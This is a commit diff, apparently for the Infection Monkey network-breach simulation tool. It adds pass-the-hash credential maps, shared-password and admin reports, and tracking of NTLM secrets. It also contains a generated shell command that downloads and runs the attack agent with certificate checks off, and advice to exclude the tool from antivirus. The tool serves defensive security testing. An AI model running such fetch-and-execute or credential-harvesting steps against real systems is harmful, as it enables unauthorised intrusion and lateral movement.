self.info_for_mongo[entity]['domain'] == domain_name:
child_sid = self.info_for_mongo[entity]['SID']
else:
child_sid = str(child_part['SID'])[4:-1]
if child_sid and child_sid not in groups_entities_list:
groups_entities_list.append(child_sid)
if child_sid:
if child_sid in self.info_for_mongo:
self.info_for_mongo[child_sid]['member_of'].append(group_sid)
def insert_info_to_mongo(self):
for entity in self.info_for_mongo.values():
if entity['machine_id']:
# Handling for local entities.
mongo.db.groupsandusers.update({'SID': entity['SID'],
'machine_id': entity['machine_id']}, entity, upsert=True)
else:
# Handlings for domain entities.
if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}):
mongo.db.groupsandusers.insert_one(entity)
else:
# if entity is domain entity, add the monkey id of current machine to secrets_location.
# (found on this machine)
if entity.get('NTLM_secret'):
mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE},
{'$addToSet': {'secret_location': self.monkey_id}})
def update_admins_retrospective(self):
for profile in self.info_for_mongo:
groups_from_mongo = mongo.db.groupsandusers.find({
'SID': {'$in': self.info_for_mongo[profile]['member_of']}},
{'admin_on_machines': 1})
for group in groups_from_mongo:
if group['admin_on_machines']:
mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']},
{'$addToSet': {'admin_on_machines': {
'$each': group['admin_on_machines']}}})
def add_admin(self, group, machine_id):
for sid in group['entities_list']:
mongo.db.groupsandusers.update_one({'SID': sid},
{'$addToSet': {'admin_on_machines': machine_id}})
entity_details = mongo.db.groupsandusers.find_one({'SID': sid},
{'type': USERTYPE, 'entities_list': 1})
if entity_details.get('type') == GROUPTYPE:
self.add_admin(entity_details, machine_id)

File diff suppressed because it is too large Load Diff

View File

@ -31,14 +31,14 @@
"babel-preset-react": "^6.24.1", "babel-preset-react": "^6.24.1",
"babel-preset-stage-0": "^6.5.0", "babel-preset-stage-0": "^6.5.0",
"bower-webpack-plugin": "^0.1.9", "bower-webpack-plugin": "^0.1.9",
"chai": "^4.1.2", "chai": "^4.2.0",
"copyfiles": "^2.0.0", "copyfiles": "^2.1.0",
"css-loader": "^1.0.0", "css-loader": "^1.0.0",
"eslint": "^5.3.0", "eslint": "^5.6.1",
"eslint-loader": "^2.1.0", "eslint-loader": "^2.1.1",
"eslint-plugin-react": "^7.11.1", "eslint-plugin-react": "^7.11.1",
"file-loader": "^1.1.11", "file-loader": "^1.1.11",
"glob": "^7.0.0", "glob": "^7.1.3",
"html-loader": "^0.5.5", "html-loader": "^0.5.5",
"html-webpack-plugin": "^3.2.0", "html-webpack-plugin": "^3.2.0",
"karma": "^3.0.0", "karma": "^3.0.0",
@ -48,45 +48,45 @@
"karma-mocha-reporter": "^2.2.5", "karma-mocha-reporter": "^2.2.5",
"karma-phantomjs-launcher": "^1.0.0", "karma-phantomjs-launcher": "^1.0.0",
"karma-sourcemap-loader": "^0.3.5", "karma-sourcemap-loader": "^0.3.5",
"karma-webpack": "^3.0.0", "karma-webpack": "^3.0.5",
"minimist": "^1.2.0", "minimist": "^1.2.0",
"mocha": "^5.2.0", "mocha": "^5.2.0",
"null-loader": "^0.1.1", "null-loader": "^0.1.1",
"open": "0.0.5", "open": "0.0.5",
"phantomjs-prebuilt": "^2.1.16", "phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2", "react-addons-test-utils": "^15.6.2",
"react-hot-loader": "^4.3.4", "react-hot-loader": "^4.3.11",
"rimraf": "^2.6.2", "rimraf": "^2.6.2",
"style-loader": "^0.22.1", "style-loader": "^0.22.1",
"url-loader": "^1.1.0", "url-loader": "^1.1.2",
"webpack": "^4.16.5", "webpack": "^4.20.2",
"webpack-cli": "^3.1.0", "webpack-cli": "^3.1.2",
"webpack-dev-server": "^3.1.5" "webpack-dev-server": "^3.1.9"
}, },
"dependencies": { "dependencies": {
"bootstrap": "3.3.7", "bootstrap": "3.3.7",
"core-js": "^2.5.7", "core-js": "^2.5.7",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"js-file-download": "^0.4.1", "js-file-download": "^0.4.4",
"json-loader": "^0.5.7", "json-loader": "^0.5.7",
"jwt-decode": "^2.2.0", "jwt-decode": "^2.2.0",
"moment": "^2.22.2", "moment": "^2.22.2",
"normalize.css": "^8.0.0", "normalize.css": "^8.0.0",
"npm": "^6.3.0", "npm": "^6.4.1",
"prop-types": "^15.6.2", "prop-types": "^15.6.2",
"rc-progress": "^2.2.5", "rc-progress": "^2.2.6",
"react": "^16.4.2", "react": "^16.5.2",
"react-bootstrap": "^0.32.1", "react-bootstrap": "^0.32.4",
"react-copy-to-clipboard": "^5.0.1", "react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.2.0", "react-data-components": "^1.2.0",
"react-dimensions": "^1.3.0", "react-dimensions": "^1.3.0",
"react-dom": "^16.4.2", "react-dom": "^16.5.2",
"react-fa": "^5.0.0", "react-fa": "^5.0.0",
"react-graph-vis": "^1.0.2", "react-graph-vis": "^1.0.2",
"react-json-tree": "^0.11.0", "react-json-tree": "^0.11.0",
"react-jsonschema-form": "^1.0.4", "react-jsonschema-form": "^1.0.5",
"react-redux": "^5.0.7", "react-redux": "^5.1.1",
"react-router-dom": "^4.3.1", "react-router-dom": "^4.3.1",
"react-table": "^6.8.6", "react-table": "^6.8.6",
"react-toggle": "^4.0.1", "react-toggle": "^4.0.1",

View File

@ -7,6 +7,7 @@ import RunServerPage from 'components/pages/RunServerPage';
import ConfigurePage from 'components/pages/ConfigurePage'; import ConfigurePage from 'components/pages/ConfigurePage';
import RunMonkeyPage from 'components/pages/RunMonkeyPage'; import RunMonkeyPage from 'components/pages/RunMonkeyPage';
import MapPage from 'components/pages/MapPage'; import MapPage from 'components/pages/MapPage';
import PassTheHashMapPage from 'components/pages/PassTheHashMapPage';
import TelemetryPage from 'components/pages/TelemetryPage'; import TelemetryPage from 'components/pages/TelemetryPage';
import StartOverPage from 'components/pages/StartOverPage'; import StartOverPage from 'components/pages/StartOverPage';
import ReportPage from 'components/pages/ReportPage'; import ReportPage from 'components/pages/ReportPage';

View File

@ -1,4 +1,4 @@
let groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island', const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island',
'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running', 'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running',
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux', 'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running']; 'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
@ -17,7 +17,22 @@ let getGroupsOptions = () => {
return groupOptions; return groupOptions;
}; };
export const options = { const groupNamesPth = ['normal', 'critical'];
let getGroupsOptionsPth = () => {
let groupOptions = {};
for (let groupName of groupNamesPth) {
groupOptions[groupName] =
{
shape: 'image',
size: 50,
image: require('../../images/nodes/pth/' + groupName + '.png')
};
}
return groupOptions;
};
export const basic_options = {
autoResize: true, autoResize: true,
layout: { layout: {
improvedLayout: false improvedLayout: false
@ -34,10 +49,22 @@ export const options = {
avoidOverlap: 0.5 avoidOverlap: 0.5
}, },
minVelocity: 0.75 minVelocity: 0.75
}, }
groups: getGroupsOptions()
}; };
export const options = (() => {
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
opts.groups = getGroupsOptions();
return opts;
})();
export const optionsPth = (() => {
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
opts.groups = getGroupsOptionsPth();
opts.physics.barnesHut.gravitationalConstant = -20000;
return opts;
})();
export function edgeGroupToColor(group) { export function edgeGroupToColor(group) {
switch (group) { switch (group) {
case 'exploited': case 'exploited':

View File

@ -0,0 +1,247 @@
import React from 'react';
import {Icon} from 'react-fa';
import Toggle from 'react-toggle';
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
import download from 'downloadjs'
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
class InfMapPreviewPaneComponent extends PreviewPaneComponent {
osRow(asset) {
return (
<tr>
<th>Operating System</th>
<td>{asset.os.charAt(0).toUpperCase() + asset.os.slice(1)}</td>
</tr>
);
}
ipsRow(asset) {
return (
<tr>
<th>IP Addresses</th>
<td>{asset.ip_addresses.map(val => <div key={val}>{val}</div>)}</td>
</tr>
);
}
servicesRow(asset) {
return (
<tr>
<th>Services</th>
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
);
}
accessibleRow(asset) {
return (
<tr>
<th>
Accessible From&nbsp;
{this.generateToolTip('List of machine which can access this one using a network protocol')}
</th>
<td>{asset.accessible_from_nodes.map(val => <div key={val}>{val}</div>)}</td>
</tr>
);
}
statusRow(asset) {
return (
<tr>
<th>Status</th>
<td>{(asset.dead) ? 'Dead' : 'Alive'}</td>
</tr>
);
}
forceKill(event, asset) {
let newConfig = asset.config;
newConfig['alive'] = !event.target.checked;
this.authFetch('/api/monkey/' + asset.guid,
{
method: 'PATCH',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({config: newConfig})
});
}
forceKillRow(asset) {
return (
<tr>
<th>
Force Kill&nbsp;
{this.generateToolTip('If this is on, monkey will die next time it communicates')}
</th>
<td>
<Toggle id={asset.id} checked={!asset.config.alive} icons={false} disabled={asset.dead}
onChange={(e) => this.forceKill(e, asset)}/>
</td>
</tr>
);
}
unescapeLog(st) {
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
.replace(/\\n/g, "\n")
.replace(/\\r/g, "\r")
.replace(/\\t/g, "\t")
.replace(/\\b/g, "\b")
.replace(/\\f/g, "\f")
.replace(/\\"/g, '\"')
.replace(/\\'/g, "\'")
.replace(/\\&/g, "\&");
}
downloadLog(asset) {
this.authFetch('/api/log?id=' + asset.id)
.then(res => res.json())
.then(res => {
let timestamp = res['timestamp'];
timestamp = timestamp.substr(0, timestamp.indexOf('.'));
let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log';
let logContent = this.unescapeLog(res['log']);
download(logContent, filename, 'text/plain');
});
}
downloadLogRow(asset) {
return (
<tr>
<th>
Download Log
</th>
<td>
<a type="button" className="btn btn-primary"
disabled={!asset.has_log}
onClick={() => this.downloadLog(asset)}>Download</a>
</td>
</tr>
);
}
exploitsTimeline(asset) {
if (asset.exploits.length === 0) {
return (<div/>);
}
return (
<div>
<h4 style={{'marginTop': '2em'}}>
Exploit Timeline&nbsp;
{this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')}
</h4>
<ul className="timeline">
{asset.exploits.map(exploit =>
<li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
</div>
)
}
assetInfo(asset) {
return (
<div>
<table className="table table-condensed">
<tbody>
{this.osRow(asset)}
{this.ipsRow(asset)}
{this.servicesRow(asset)}
{this.accessibleRow(asset)}
</tbody>
</table>
{this.exploitsTimeline(asset)}
</div>
);
}
infectedAssetInfo(asset) {
return (
<div>
<table className="table table-condensed">
<tbody>
{this.osRow(asset)}
{this.statusRow(asset)}
{this.ipsRow(asset)}
{this.servicesRow(asset)}
{this.accessibleRow(asset)}
{this.forceKillRow(asset)}
{this.downloadLogRow(asset)}
</tbody>
</table>
{this.exploitsTimeline(asset)}
</div>
);
}
scanInfo(edge) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Operating System</th>
<td>{edge.os.type}</td>
</tr>
<tr>
<th>IP Address</th>
<td>{edge.ip_address}</td>
</tr>
<tr>
<th>Services</th>
<td>{edge.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
{
(edge.exploits.length === 0) ?
'' :
<div>
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
<ul className="timeline">
{edge.exploits.map(exploit =>
<li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
</div>
}
</div>
);
}
islandEdgeInfo() {
return (
<div>
</div>
);
}
getInfoByProps() {
switch (this.props.type) {
case 'edge':
return this.scanInfo(this.props.item);
case 'node':
return this.props.item.group.includes('monkey', 'manual') ?
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
case 'island_edge':
return this.islandEdgeInfo();
}
return null;
}
}
export default InfMapPreviewPaneComponent;

View File

@ -0,0 +1,63 @@
import React from 'react';
import {Icon} from 'react-fa';
import Toggle from 'react-toggle';
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
import download from 'downloadjs'
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
class PthPreviewPaneComponent extends PreviewPaneComponent {
nodeInfo(asset) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Hostname</th>
<td>{asset.hostname}</td>
</tr>
<tr>
<th>IP Addresses</th>
<td>{asset.ips.map(val => <div key={val}>{val}</div>)}</td>
</tr>
<tr>
<th>Services</th>
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
<tr>
<th>Compromised Users</th>
<td>{asset.users.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
</div>
);
}
edgeInfo(edge) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Compromised Users</th>
<td>{edge.users.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
</div>
);
}
getInfoByProps() {
switch (this.props.type) {
case 'edge':
return this.edgeInfo(this.props.item);
case 'node':
return this.nodeInfo(this.props.item);
}
return null;
}
}
export default PthPreviewPaneComponent;

View File

@ -50,6 +50,13 @@ class ConfigurePageComponent extends AuthComponent {
headers: {'Content-Type': 'application/json'}, headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration) body: JSON.stringify(this.state.configuration)
}) })
.then(res => {
if (!res.ok)
{
throw Error()
}
return res;
})
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
this.setState({ this.setState({
@ -58,6 +65,9 @@ class ConfigurePageComponent extends AuthComponent {
configuration: res.configuration configuration: res.configuration
}); });
this.props.onStatusChange(); this.props.onStatusChange();
}).catch(error => {
console.log('bad configuration');
this.setState({lastAction: 'invalid_configuration'});
}); });
}; };
@ -217,6 +227,12 @@ class ConfigurePageComponent extends AuthComponent {
Failed importing configuration. Invalid config file. Failed importing configuration. Invalid config file.
</div> </div>
: ''} : ''}
{ this.state.lastAction === 'invalid_configuration' ?
<div className="alert alert-danger">
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
An invalid configuration file was imported and submitted, probably outdated.
</div>
: ''}
{ this.state.lastAction === 'import_success' ? { this.state.lastAction === 'import_success' ?
<div className="alert alert-success"> <div className="alert alert-success">
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/> <i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>

View File

@ -2,7 +2,7 @@ import React from 'react';
import {Col, Modal} from 'react-bootstrap'; import {Col, Modal} from 'react-bootstrap';
import {Link} from 'react-router-dom'; import {Link} from 'react-router-dom';
import {Icon} from 'react-fa'; import {Icon} from 'react-fa';
import PreviewPane from 'components/map/preview-pane/PreviewPane'; import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {options, edgeGroupToColor} from 'components/map/MapOptions'; import {options, edgeGroupToColor} from 'components/map/MapOptions';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
@ -186,7 +186,7 @@ class MapPageComponent extends AuthComponent {
</div> </div>
: ''} : ''}
<PreviewPane item={this.state.selected} type={this.state.selectedType}/> <InfMapPreviewPaneComponent item={this.state.selected} type={this.state.selectedType}/>
</Col> </Col>
</div> </div>
); );

View File

@ -0,0 +1,58 @@
import React from 'react';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import AuthComponent from '../AuthComponent';
import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions';
import PreviewPane from "../map/preview-pane/PreviewPane";
import {Col} from "react-bootstrap";
import {Link} from 'react-router-dom';
import {Icon} from 'react-fa';
import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane";
class PassTheHashMapPageComponent extends AuthComponent {
constructor(props) {
super(props);
this.state = {
graph: props.graph,
selected: null,
selectedType: null
};
}
events = {
select: event => this.selectionChanged(event)
};
selectionChanged(event) {
if (event.nodes.length === 1) {
let displayedNode = this.state.graph.nodes.find(
function (node) {
return node['id'] === event.nodes[0];
});
this.setState({selected: displayedNode, selectedType: 'node'})
}
else if (event.edges.length === 1) {
let displayedEdge = this.state.graph.edges.find(
function (edge) {
return edge['id'] === event.edges[0];
});
this.setState({selected: displayedEdge, selectedType: 'edge'});
}
else {
this.setState({selected: null, selectedType: null});
}
}
render() {
return (
<div>
<Col xs={12}>
<div style={{height: '70vh'}}>
<ReactiveGraph graph={this.state.graph} options={optionsPth} events={this.events}/>
</div>
</Col>
</div>
);
}
}
export default PassTheHashMapPageComponent;

View File

@ -8,6 +8,8 @@ import StolenPasswords from 'components/report-components/StolenPasswords';
import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
import {Line} from 'rc-progress'; import {Line} from 'rc-progress';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import PassTheHashMapPageComponent from "./PassTheHashMapPage";
import StrongUsers from "components/report-components/StrongUsers";
let guardicoreLogoImage = require('../../images/guardicore-logo.png'); let guardicoreLogoImage = require('../../images/guardicore-logo.png');
let monkeyLogoImage = require('../../images/monkey-icon.svg'); let monkeyLogoImage = require('../../images/monkey-icon.svg');
@ -27,13 +29,17 @@ class ReportPageComponent extends AuthComponent {
STRUTS2: 8, STRUTS2: 8,
WEBLOGIC: 9, WEBLOGIC: 9,
HADOOP: 10, HADOOP: 10,
MSSQL: 11 PTH_CRIT_SERVICES_ACCESS: 11,
MSSQL: 12
}; };
Warning = Warning =
{ {
CROSS_SEGMENT: 0, CROSS_SEGMENT: 0,
TUNNEL: 1 TUNNEL: 1,
SHARED_LOCAL_ADMIN: 2,
SHARED_PASSWORDS: 3,
SHARED_PASSWORDS_DOMAIN: 4
}; };
constructor(props) { constructor(props) {
@ -49,7 +55,6 @@ class ReportPageComponent extends AuthComponent {
componentDidMount() { componentDidMount() {
this.updateMonkeysRunning().then(res => this.getReportFromServer(res)); this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
this.updateMapFromServer(); this.updateMapFromServer();
this.interval = setInterval(this.updateMapFromServer, 5000);
} }
componentWillUnmount() { componentWillUnmount() {
@ -100,7 +105,7 @@ class ReportPageComponent extends AuthComponent {
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
res.edges.forEach(edge => { res.edges.forEach(edge => {
edge.color = edgeGroupToColor(edge.group); edge.color = {'color': edgeGroupToColor(edge.group)};
}); });
this.setState({graph: res}); this.setState({graph: res});
this.props.onStatusChange(); this.props.onStatusChange();
@ -335,6 +340,8 @@ class ReportPageComponent extends AuthComponent {
CVE-2017-10271</a>)</li> : null } CVE-2017-10271</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.HADOOP] ? {this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null } <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
{this.state.report.overview.issues[this.Issue.MSSQL] ? {this.state.report.overview.issues[this.Issue.MSSQL] ?
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null } <li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
</ul> </ul>
@ -362,6 +369,10 @@ class ReportPageComponent extends AuthComponent {
communicate.</li> : null} communicate.</li> : null}
{this.state.report.overview.warnings[this.Warning.TUNNEL] ? {this.state.report.overview.warnings[this.Warning.TUNNEL] ?
<li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null} <li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
{this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
<li>Shared local administrator account - Different machines have the same account as a local administrator.</li> : null}
{this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
<li>Multiple users have the same password</li> : null}
</ul> </ul>
</div> </div>
: :
@ -393,7 +404,13 @@ class ReportPageComponent extends AuthComponent {
return ( return (
<div id="recommendations"> <div id="recommendations">
<h3> <h3>
Recommendations Domain related recommendations
</h3>
<div>
{this.generateIssues(this.state.report.recommendations.domain_issues)}
</div>
<h3>
Machine related Recommendations
</h3> </h3>
<div> <div>
{this.generateIssues(this.state.report.recommendations.issues)} {this.generateIssues(this.state.report.recommendations.issues)}
@ -446,9 +463,36 @@ class ReportPageComponent extends AuthComponent {
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<ScannedServers data={this.state.report.glance.scanned}/> <ScannedServers data={this.state.report.glance.scanned}/>
</div> </div>
<div> <div style={{position: 'relative', height: '80vh'}}>
{this.generateReportPthMap()}
</div>
<div style={{marginBottom: '20px'}}>
<StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/> <StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
</div> </div>
<div>
<StrongUsers data = {this.state.report.glance.strong_users} />
</div>
</div>
);
}
generateReportPthMap() {
return (
<div id="pth">
<h3>
Credentials Map
</h3>
<p>
This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.
</p>
<div className="map-legend">
<b>Legend: </b>
<span>Access credentials <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span> <b style={{color: '#aeaeae'}}> | </b>
</div>
<div>
<PassTheHashMapPageComponent graph={this.state.report.glance.pth_map} />
</div>
<br />
</div> </div>
); );
} }
@ -709,6 +753,57 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateSharedCredsDomainIssue(issue) {
return (
<li>
Some domain users are sharing passwords, this should be fixed by changing passwords.
<CollapsibleWellComponent>
These users are sharing access password:
{this.generateInfoBadges(issue.shared_with)}.
</CollapsibleWellComponent>
</li>
);
}
generateSharedCredsIssue(issue) {
return (
<li>
Some users are sharing passwords, this should be fixed by changing passwords.
<CollapsibleWellComponent>
These users are sharing access password:
{this.generateInfoBadges(issue.shared_with)}.
</CollapsibleWellComponent>
</li>
);
}
generateSharedLocalAdminsIssue(issue) {
return (
<li>
Make sure the right administrator accounts are managing the right machines, and that there isnt an unintentional local admin sharing.
<CollapsibleWellComponent>
Here is a list of machines which the account <span
className="label label-primary">{issue.username}</span> is defined as an administrator:
{this.generateInfoBadges(issue.shared_machines)}
</CollapsibleWellComponent>
</li>
);
}
generateStrongUsersOnCritIssue(issue) {
return (
<li>
This critical machine is open to attacks via strong users with access to it.
<CollapsibleWellComponent>
The services: {this.generateInfoBadges(issue.services)} have been found on the machine
thus classifying it as a critical machine.
These users has access to it:
{this.generateInfoBadges(issue.threatening_users)}.
</CollapsibleWellComponent>
</li>
);
}
generateTunnelIssue(issue) { generateTunnelIssue(issue) {
return ( return (
<li> <li>
@ -744,7 +839,7 @@ class ReportPageComponent extends AuthComponent {
return ( return (
<li> <li>
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html"> Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
critical patch updates.</a> Or change server version. Vulnerable versions are critical patch updates.</a> Or update to the latest version. Vulnerable versions are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
<CollapsibleWellComponent> <CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
@ -764,7 +859,7 @@ class ReportPageComponent extends AuthComponent {
Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html"> Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
add Kerberos authentication</a>). add Kerberos authentication</a>).
<CollapsibleWellComponent> <CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span The Hadoop server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack. className="label label-danger">remote code execution</span> attack.
<br/> <br/>
@ -831,6 +926,18 @@ generateMSSQLIssue(issue) {
case 'island_cross_segment': case 'island_cross_segment':
data = this.generateIslandCrossSegmentIssue(issue); data = this.generateIslandCrossSegmentIssue(issue);
break; break;
case 'shared_passwords':
data = this.generateSharedCredsIssue(issue);
break;
case 'shared_passwords_domain':
data = this.generateSharedCredsDomainIssue(issue);
break;
case 'shared_admins_domain':
data = this.generateSharedLocalAdminsIssue(issue);
break;
case 'strong_users_on_crit':
data = this.generateStrongUsersOnCritIssue(issue);
break;
case 'tunnel': case 'tunnel':
data = this.generateTunnelIssue(issue); data = this.generateTunnelIssue(issue);
break; break;

View File

@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent {
generateLinuxCmd(ip, is32Bit) { generateLinuxCmd(ip, is32Bit) {
let bitText = is32Bit ? '32' : '64'; let bitText = is32Bit ? '32' : '64';
return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
} }
generateWindowsCmd(ip, is32Bit) { generateWindowsCmd(ip, is32Bit) {

View File

@ -2,10 +2,7 @@ import React from 'react';
import ReactTable from 'react-table' import ReactTable from 'react-table'
let renderArray = function(val) { let renderArray = function(val) {
if (val.length === 0) { return <div>{val.map(x => <div>{x}</div>)}</div>;
return '';
}
return val.reduce((total, new_str) => total + ', ' + new_str);
}; };
const columns = [ const columns = [

View File

@ -2,10 +2,7 @@ import React from 'react';
import ReactTable from 'react-table' import ReactTable from 'react-table'
let renderArray = function(val) { let renderArray = function(val) {
if (val.length === 0) { return <div>{val.map(x => <div>{x}</div>)}</div>;
return '';
}
return val.reduce((total, new_str) => total + ', ' + new_str);
}; };
const columns = [ const columns = [

View File

@ -0,0 +1,43 @@
import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
console.log(val);
return <div>{val.map(x => <div>{x}</div>)}</div>;
};
const columns = [
{
Header: 'Powerful Users',
columns: [
{ Header: 'Username', accessor: 'username'},
{ Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)},
{ Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)}
]
}
];
const pageSize = 10;
class StrongUsersComponent extends React.Component {
constructor(props) {
super(props);
}
render() {
let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length;
let showPagination = this.props.data.length > pageSize;
return (
<div className="data-table-container">
<ReactTable
columns={columns}
data={this.props.data}
showPagination={showPagination}
defaultPageSize={defaultPageSize}
/>
</div>
);
}
}
export default StrongUsersComponent;

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

View File

@ -138,12 +138,11 @@ body {
padding-left: 40px; padding-left: 40px;
} }
} }
.main .page-header { .main .page-header {
margin-top: 0; margin-top: 0;
} }
.index img { .index img {
margin: 40px auto; margin: 40px auto;
border-radius: 4px; border-radius: 4px;
@ -172,6 +171,9 @@ body {
display: none; display: none;
} }
.nav-tabs > li > a {
height: 63px
}
/* /*
* Run Monkey Page * Run Monkey Page
*/ */
@ -491,4 +493,5 @@ body {
.label-danger { .label-danger {
background-color: #d9534f !important; background-color: #d9534f !important;
} }
} }

View File

@ -2,4 +2,4 @@
cd /var/monkey cd /var/monkey
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db & /var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py /var/monkey/monkey_island/bin/python/bin/python monkey_island.py

View File

@ -1,6 +1,10 @@
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
If you only want to run the software from source you may refer to the instructions below.
How to set up the Monkey Island server: How to set up the Monkey Island server:
---------------- On Windows ----------------: ---------------- On Windows ----------------:
0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation.
1. Create folder "bin" under monkey_island 1. Create folder "bin" under monkey_island
2. Place portable version of Python 2.7 2. Place portable version of Python 2.7
